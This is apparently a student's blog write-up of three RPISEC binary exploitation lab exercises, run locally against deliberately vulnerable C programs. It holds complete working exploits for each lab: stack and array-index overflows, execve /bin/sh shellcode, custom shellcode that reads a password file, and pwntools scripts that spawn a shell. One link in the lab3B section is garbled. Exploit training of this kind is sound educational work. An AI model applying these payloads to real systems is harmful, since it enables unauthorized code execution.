This was a really, really cool lab. This lab focused on writing shellcode and execution of my own exploit code in the 3 vulnerable executables. It was really satisfying to see assembly instructions I had created being executed. Below are a few notes for myself, a few good resources, and notes on a few new tools I used. I ran all the exploits on my local machine. If you want to skip ahead to my writeups they start here.

Registers:

strace cheat sheet:

https://blog.packagecloud.io/eng/2015/11/15/strace-cheat-sheet/

Read error values:

error-code-nums https://www.scadacore.com/tools/programming-calculators/online-hex-converter/

Std Streams:

I was dumb and had this messed up for a second. Leaving a not here for my future self. https://en.wikipedia.org/wiki/Standard_streams 0 -> stdin 1 -> stdout 2 -> stderr

Shell Noob

This tool is super helpful! It outputs compiled assembly instructions, syscall numbers, etc… ! https://github.com/reyammer/shellnoob/blob/master/README.md

Manual Assembly:

The steps for maunally loading and creating shellcode:

1
2
3
4
5
nasm -f elf [FILE].s
ld -o [FILE] [FILE].o
ld -m elf_i386 -s -o [FILE] [FILE].o
objdump -M intel -d [FILE] # SHELL STRING for python
python -c "x = "[SHELL]"; print "\\x".join(a+b for a,b in zip(x[::2],x[1::2]))"

Pwntools

This python library is amazing! It has a ton of super useful builtin in functionality that I’m just beginning to explore. It was very frustrating to start using at first only because of errors in logic I had in my own code. I’m going to start to use this project in future posts! (It also has a hook into gdb for debugging exploit code!) https://docs.pwntools.com/en/stable/

GDB notes:

Follow forks in gdb: (Peda follows child!) https://sourceware.org/gdb/onlinedocs/gdb/Forks.html set follow-fork-mode [ 'parent' | 'child' ]

Checkpionts: checkpoint

**Breakpoints: **break [func] break *[func]+[offset] break *0x[addr]>/>

REMINDERS

REMEMBER!! Check ERRNO/Registers for errors in shellcode!! Filepath for header files: /usr/include grep -r O_RDONLY

LAB3C

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/* gcc -z execstack -fno-stack-protector -o lab3C lab3C.c */

char a_user_name[100];

int verify_user_name()
{
    puts("verifying username....\n");
    return strncmp(a_user_name, "rpisec", 6);
}

int verify_user_pass(char *a_user_pass)
{
    return strncmp(a_user_pass, "admin", 5);
}

int main()
{
    char a_user_pass[64] = {0};
    int x = 0;

    /* prompt for the username - read 100 byes */
    printf("********* ADMIN LOGIN PROMPT *********\n");
    printf("Enter Username: ");
    fgets(a_user_name, 0x100, stdin);

    /* verify input username */
    x = verify_user_name();
    if (x != 0){
        puts("nope, incorrect username...\n");
        return EXIT_FAILURE;
    }

    /* prompt for admin password - read 64 bytes */
    printf("Enter Password: \n");
    fgets(a_user_pass, 0x64, stdin);

    /* verify input password */
    x = verify_user_pass(a_user_pass);
    if (x == 0 || x != 0){
        puts("nope, incorrect password...\n");
        return EXIT_FAILURE;
    }

    return EXIT_SUCCESS;
}

In this challenge, the vulnerability lies in the lines highlighted above. The return pointer from the main function can be overwritten using an overflow in the stack variable a_user_pass and a_user_name. The input is taken in the fgets calls on line 28 and line 39. Here the obvious mistake is the use of hex to limit the size of user input (0x100 (256) and 0x64 (100)). Either buffer is a great location for shellcode but the heap is the better choice, as it is has much more reliable address ( a stack address will change based on stack input and size).

The exploit follows find the address of the a_user_name and a_user_pass variables and ensure the instruction pointer (EIP) jumps to a_user_name with a stack overflow overwriting the return address using a_user_pass. Of course that is easier said than done.

I Ran into an issue with python3. Python3 and python2 treat strings differently, python2 they are a series of bytes, where as python3 there are a series of unicode characters (hence python3’s byte and bytestring classes).

I wanted to run the exploit in python3, since I had used python2 in the last lab. Python2’s interpretation of strings makes the data easier to work with so I will be using python2 for the time being.

Getting address of a_user_name: Placing a breakpoint (break *main+92) at the verify function shows the address of the a_user_name buffer as the top address in the stack.

[-------------------------------------code-------------------------------------]
   0x80487d8 <main+72>:	mov    DWORD PTR [esp+0x4],0x100
   0x80487e0 <main+80>:	mov    DWORD PTR [esp],0x8049c40
   0x80487e7 <main+87>:	call   0x80485f0 <fgets@plt>
=> 0x80487ec <main+92>:	call   0x804873d <verify_user_name>
   0x80487f1 <main+97>:	mov    DWORD PTR [esp+0x5c],eax
   0x80487f5 <main+101>:	cmp    DWORD PTR [esp+0x5c],0x0
   0x80487fa <main+106>:	je     0x804880f <main+127>
   0x80487fc <main+108>:	mov    DWORD PTR [esp],0x8048970
No argument
[------------------------------------stack-------------------------------------]
0000| 0xffffd010 --> 0x8049c40 ("rpisec\n")

Getting address of a_user_pass: Placing a breakpoint at the verify function (break *main+175) shows the address of the a_user_pass

[-------------------------------------code-------------------------------------]
   0x8048833 <main+163>:	call   0x80485f0 <fgets@plt>
   0x8048838 <main+168>:	lea    eax,[esp+0x1c]
   0x804883c <main+172>:	mov    DWORD PTR [esp],eax
=> 0x804883f <main+175>:	call   0x804876d <verify_user_pass>
   0x8048844 <main+180>:	mov    DWORD PTR [esp+0x5c],eax
   0x8048848 <main+184>:	cmp    DWORD PTR [esp+0x5c],0x0
   0x804884d <main+189>:	je     0x8048856 <main+198>
   0x804884f <main+191>:	cmp    DWORD PTR [esp+0x5c],0x0
Guessed arguments:
arg[0]: 0xffffd02c ("asdf\n")
[------------------------------------stack-------------------------------------]
0000| 0xffffd010 --> 0xffffd02c ("asdf\n")

Now the exploit can be written grabbing some helpful shellcode from the exploit-db database. This script prints out the payload and I pass it in on standard in.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
from pwn import *
#python 2 ==> byte arrays
#python 3 ==> arrays of UTF-8 encoded chars

#source: https://www.exploit-db.com/shellcodes/41757
shell = "\x31\xc9\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
user = "rpisec"
_pass = "admin"
payload ="rpisec"+ "\x90" * (0x100 - len(shell) - 7) + shell #fills whole 0x100 with 0x90 and shell (6+1 NULL for string)

addr = p32(0x8049c48) #a_user_name addr, address to jump to
offset = 0xffffd07c - 0xffffd02c #80
payload_2 = "A" * offset +  addr

print(payload + payload_2)

The trick here is that just passing the shellcode payload by itself does not keep stdin open, and the program will close. (like in my last lab). Adding the & cat does the trick!

LAB3B

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#include <signal.h>
#include <assert.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/ptrace.h>
#include <sys/reg.h>
#include <sys/prctl.h>
#include <wait.h>
#include "utils.h"

ENABLE_TIMEOUT(60)

/* gcc -z execstack -fno-stack-protector -o lab3B lab3B.c */

/* hint: write shellcode that opens and reads the .pass file.
   ptrace() is meant to deter you from using /bin/sh shellcode */

int main()
{
    pid_t child = fork();
    char buffer[128] = {0};
    int syscall = 0;
    int status = 0;

    if(child == 0)
    {
        prctl(PR_SET_PDEATHSIG, SIGHUP);
        ptrace(PTRACE_TRACEME, 0, NULL, NULL);

        /* this is all you need to worry about */
        puts("just give me some shellcode, k");
        gets(buffer);
    }
    else
    {
        /* mini exec() sandbox, you can ignore this */
        while(1)
        {
            wait(&status);
            if (WIFEXITED(status) || WIFSIGNALED(status)){
                puts("child is exiting...");
                break;
            }

            /* grab the syscall # */
            syscall = ptrace(PTRACE_PEEKUSER, child, 4 * ORIG_EAX, NULL);

            /* filter out syscall 11, exec */
            if(syscall == 11)
            {
                printf("no exec() for you\n");
                kill(child, SIGKILL);
                break;
            }
        }
    }

    return EXIT_SUCCESS;
}

man page gets:

    
           Never use this function.
    
           gets()  reads  a  line from stdin into the buffer pointed to by s until
           either a terminating newline or EOF, which it replaces with a null byte
           ('\0').  No check for buffer overrun is performed (see BUGS below)

addr of buffer: like above in a breakpoint on the call to gets, shows the address of the buffer highlighted below.

[-------------------------------------code-------------------------------------]
   0x8048a19 <main+138>:	call   0x8048780 <puts@plt>
   0x8048a1e <main+143>:	lea    eax,[esp+0x20]
   0x8048a22 <main+147>:	mov    DWORD PTR [esp],eax
=> 0x8048a25 <main+150>:	call   0x8048730 <gets@plt>
   0x8048a2a <main+155>:	jmp    0x8048ae2 <main+339>
   0x8048a2f <main+160>:	lea    eax,[esp+0x1c]
   0x8048a33 <main+164>:	mov    DWORD PTR [esp],eax
   0x8048a36 <main+167>:	call   0x8048770 <wait@plt>
Guessed arguments:
arg[0]: 0xffffcfe0 --> 0x0 
[------------------------------------stack-------------------------------------]
0000| 0xffffcfc0 --> 0xffffcfe0 --> 0x0 

addr of ret_addr:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
[-------------------------------------code-------------------------------------]
   0x8048aea <main+347>:	pop    ebx
   0x8048aeb <main+348>:	pop    edi
   0x8048aec <main+349>:	pop    ebp
=> 0x8048aed <main+350>:	ret    
   0x8048aee:	xchg   ax,ax
   0x8048af0 <__libc_csu_init>:	push   ebp
   0x8048af1 <__libc_csu_init+1>:	push   edi
   0x8048af2 <__libc_csu_init+2>:	xor    edi,edi
[------------------------------------stack-------------------------------------]
0000| 0xffffd07c --> 0xf7defe81 (<__libc_start_main+241>:	add    esp,0x10)

**Caclulate the Overflow: ** expr $((0xffffd07c)) - $((0xffffcfe0)) ==> 156

Custom Shellcode!! Now for this lab, the ptrace in the executable prevented the execve syscall, so I got to experiment with writing/compiling my own shell code! I included the c program I used for testing as well!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
;int main(){
;  char x[50];
;  int fd = open(".pass", O_RDONLY);
;  read(fd, x ,50);
;  write(0, x, 50);
;}
; python -c "print ':'.join(x.encode('hex') for x in '.pass')"
; python one liner
BITS 32

; open system call
xor eax, eax; zero out eax, ecx, edx
xor ecx, ecx; RD_ONLY (0)
push 0x73 ; push   .\0\0\0
push 0x7361702e ; push pass
mov ebx, esp ;address of ".pass"
push 0x5
pop eax ;pop 0x2 (open)
int 0x80

;read 
mov ebx, eax ;return fd to ebx
push 0x3
pop eax ;pop 0x3 into eax (read)
sub esp, 0x32 ; make room for 50 bytes
mov ecx, esp ;give pointer to char *
push 0x32
pop edx ;move 50 size into edx
int 0x80

;write
push 0x4
pop eax ;pop 0x4 (write)
mov bl, 1 ;setup stdout 1
mov ecx, esp ;give pointer to char *
push 0x32
pop edx ;move 50 size into edx
int 0x80

;exit
xor eax, eax
inc al
int 0x80 ;clear eax and fill with 1 for exit

Testing c code: Sometimes one way testing works and the other doesn’t so I have both!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
#include<stdio.h>
#include<string.h>
// gcc -fno-stack-protector  -m32 -z execstack shellcode.c -o shell 
 
unsigned char code[] = \
"YOUR SHELL CODE HERE!!";

int main()
{
 
printf("Shellcode Length: %d\n", strlen(code));

//way 1
(*(void (*)()) code)();

//way 2
//int *ret;
//ret = (int *) &ret +2;
//(*ret) = (int)code;
}

The above string of text was compiled following the steps above(also borrowed from the MBE course slides [like in my last lab](https://security.cs.rpi.edu/courseshat just passing the shellcode payload by itself does not keep stdin open, and the program will close. (<a href=)). Adding the & cat does the trick!/binexp-spring2015/lectures/7/05_lecture.pdf">slides || local copy)

final payload

1
2
3
4
5
6
7
8
from pwn import *

shell = "\x31\xc0\x31\xc9\x6a\x73\x68\x2e\x70\x61\x73\x89\xe3\x6a\x05\x58\xcd\x80\x89\xc3\x6a\x03\x58\x83\xec\x32\x89\xe1\x6a\x32\x5a\xcd\x80\x6a\x04\x58\xb3\x01\x89\xe1\x6a\x32\x5a\xcd\x80\x31\xc0\xfe\xc0\xcd\x80"
overflow = 156 - len(shell)
x = 35 
ret_addr = p32(0xffffcfe0)
payload = "\x90"*x + shell + "\x90"*(overflow-x) + ret_addr
print payload

At first, I thought my shellcode wasn’t printing due to my address being wrong (I used strace -f to make sure the system calls were running), but I later realized the shellcode runs in the child! This means writing to stdin does not automatically display the dump in the actual execution. I got it to display in gdb though!!

Lab3A

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "utils.h"

#define STORAGE_SIZE 100

/* gcc -Wall -z execstack -o lab3A lab3A.c */

/* get a number from the user and store it */
int store_number(unsigned int * data)
{
    unsigned int input = 0;
    unsigned int index = 0;

    /* get number to store */
    printf(" Number: ");
    input = get_unum();

    /* get index to store at */
    printf(" Index: ");
    index = get_unum();

    /* make sure the slot is not reserved */
    if(index % 3 == 0 || (input >> 24) == 0xb7)
    {
        printf(" *** ERROR! ***\n");
        printf("   This index is reserved for quend!\n");
        printf(" *** ERROR! ***\n");

        return 1;
    }

    /* save the number to data storage */
    data[index] = input;

    return 0;
}

/* returns the contents of a specified storage index */
int read_number(unsigned int * data)
{
    unsigned int index = 0;

    /* get index to read from */
    printf(" Index: ");
    index = get_unum();

    printf(" Number at data[%u] is %u\n", index, data[index]);

    return 0;
}

int main(int argc, char * argv[], char * envp[])
{
    int res = 0;
    char cmd[20] = {0};
    unsigned int data[STORAGE_SIZE] = {0};

    /* doom doesn't like enviroment variables */
    clear_argv(argv);
    clear_envp(envp);

    printf("----------------------------------------------------\n"\
           "  Welcome to quend's crappy number storage service!  \n"\
           "----------------------------------------------------\n"\
           " Commands:                                          \n"\
           "    store - store a number into the data storage    \n"\
           "    read  - read a number from the data storage     \n"\
           "    quit  - exit the program                        \n"\
           "----------------------------------------------------\n"\
           "   quend has reserved some storage for herself :>    \n"\
           "----------------------------------------------------\n"\
           "\n");


    /* command handler loop */
    while(1)
    {
        /* setup for this loop iteration */
        printf("Input command: ");
        res = 1;

        /* read user input, trim newline */
        fgets(cmd, sizeof(cmd), stdin);
        cmd[strlen(cmd)-1] = '\0';

        /* select specified user command */
        if(!strncmp(cmd, "store", 5))
            res = store_number(data);
        else if(!strncmp(cmd, "read", 4))
            res = read_number(data);
        else if(!strncmp(cmd, "quit", 4))
            break;

        /* print the result of our command */
        if(res)
            printf(" Failed to do %s command\n", cmd);
        else
            printf(" Completed %s command successfully\n", cmd);

        memset(cmd, 0, sizeof(cmd));
    }

    return EXIT_SUCCESS;
}
This was the last challenge, and it was very difficult. In the most part becuase I was stubborn in wanting my own shellcode to run, and learning to use pwntools. In this challenge I wanted to automate the whole exploit in one script. I also found my new favorite python tool shellnoob!

The trick with this code is manipulating the store_number function! The index is not checked which enables arbitrary reads/writes to anywhere in the stack after the start of the data array!!

However, there’s a trick on line 25 in the store_number(). This line makes every 3rd index unwritable and the msb of each index not be 0xb7. Every 8 bytes of code will need a jmp condition to skip the next four bytes: [_ _ _ _][_ _ _ _][ BAD][_ _ _ _][_ _ _ _][ BAD ]...

Find the address of data

[-------------------------------------code-------------------------------------]
   0x8048b5e <main+332>:	jne    0x8048b75 <main+355>
   0x8048b60 <main+334>:	lea    eax,[esp+0x18]
   0x8048b64 <main+338>:	mov    DWORD PTR [esp],eax
=> 0x8048b67 <main+341>:	call   0x8048917 <store_number>
   0x8048b6c <main+346>:	mov    DWORD PTR [esp+0x1bc],eax
   0x8048b73 <main+353>:	jmp    0x8048bd2 <main+448>
   0x8048b75 <main+355>:	mov    DWORD PTR [esp+0x8],0x4
   0x8048b7d <main+363>:	mov    DWORD PTR [esp+0x4],0x8048f63
Guessed arguments:
arg[0]: 0xffffcec8 --> 0x0 
[------------------------------------stack-------------------------------------]
0000| 0xffffceb0 --> 0xffffcec8 --> 0x0 

Find the return address

[-------------------------------------code-------------------------------------]
   0x8048c38 <main+550>:	pop    ebx
   0x8048c39 <main+551>:	pop    edi
   0x8048c3a <main+552>:	pop    ebp
=> 0x8048c3b <main+553>:	ret    
   0x8048c3c:	xchg   ax,ax
   0x8048c3e:	xchg   ax,ax
   0x8048c40 <__libc_csu_init>:	push   ebp
   0x8048c41 <__libc_csu_init+1>:	push   edi
[------------------------------------stack-------------------------------------]
0000| 0xffffd07c --> 0xf7defe81 (<__libc_start_main+241>:	add    esp,0x10)

This results in an overflow needed:

However this is just the number of straight bytes. Since the arbitrary write function store_number allows writing ints (every 4 bytes), the write needs to be at overflow/4 = 109th index!

I also learned a fun lesson about python2, it prints out hexcharacters in big endian!! (This proved a little troublesome, and is good to note as peda also has this quirk)

The next step was to write the shellcode in 4 byte chunks with jumps so it could be properly executed in the buffer! jmp 4 bytes

Snoob (shell noob) came in very handy here and helped with looking up syscall numbers and checking the length of specific shellcode!!

The last part was figuring out how to interact with a process using pwntools (VERY USEFUL!!). Pwntools can spawn a process, and uses its own internal libary tubes to create read/write pipes to a process. The context allows the user to control assembly of specific architectures and also turn debugging on (to see read/writes to process pipes). Attaching gdb to my process was also super helpful in debugging quite a few issues in my shell code!

I ran into a very weird issue where edx was filled with an old address before calling execve, so I added an xor line to clear it. Between all the old shellcode from lab3C nops and jmp $+2+4 were added as necessary. The asm() function is pwntools compiler wrapper, that compiles based on the context set in the context() function. u32() unpacks the compiled hexstring shellcode into a 32bit int that is stored in a dict before being sent to the executable process.

I added a function to print out my shellcode to test it in the shellcode.c file to be sure it dropped me a shell. Finally, I attach gdb to the process while testing the sending of lines to the executable.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import *
import binascii

context(arch='i386', os='linux',endian='little', word_size=32)

#spaced below for jumps needed
#original shell had to be modifiied
#//https://www.exploit-db.com/shellcodes/40131
#shell = "\x31\xc0\x50 \x68\x2f\x2f\x73\x68 \x68\x2f\x62\x69\x6e \x87\xe3\xb0\x0b\xcd\x80";

#added jumps for gaps of 4 bytes
#edx was filled and needed to be cleared!
instr = [ "xor eax,eax; \
         xor edx, edx; \ #edx was filled and needed to be clear!!
         push eax;  \
         nop;\
         jmp $+2+4;", 
        "push 0x68732f2f; \
         nop;\
         jmp $+2+4;", 
        "push 0x6e69622f; \
         nop;\
        jmp $+2+4; ",
        "mov ebx,esp; \
        mov al,0xb; \
        int 0x80;\
        nop;\
        nop;" ]


#store index to code
d = {}
index = 0
shell = ""

#create shellcode for every 8 bytes
for x in instr:
    if index % 3 == 0:
        index = index +1
    code =  asm(x)
    d[index] = u32(code[:4]) 
    d[index+1] = u32(code[4:]) 
    shell = shell + code
    index = index + 2

#testing in shellcode.c
#print "\\x".join(x.encode('hex') for x in shell)


ret_addr = 0xffffd07c 
data_addr = 0xffffcf88 
#int array every 4 bytes
#overflow!
i = (436) / 4  

#DEBUG
#context.log_level = 'debug'
p = process('./lab3A')

#gdb process
script = "\
break *main+553\n\
checkpoint\n\
"

#attach gdb
#gdb.attach(p, script)

#override return
p.sendline("store")
p.sendline(str((data_addr+4))) #drop into the first index (0 is blocked)
p.sendline(str(i))

#setup shellcode
for i in range(0,index):
    if i % 3 != 0:
        p.sendline("store")
        p.sendline(str(d[i]))
        p.sendline(str(i))

#should have shell!
p.sendline("quit")
p.interactive()

Finally I got a shell and printed the password!!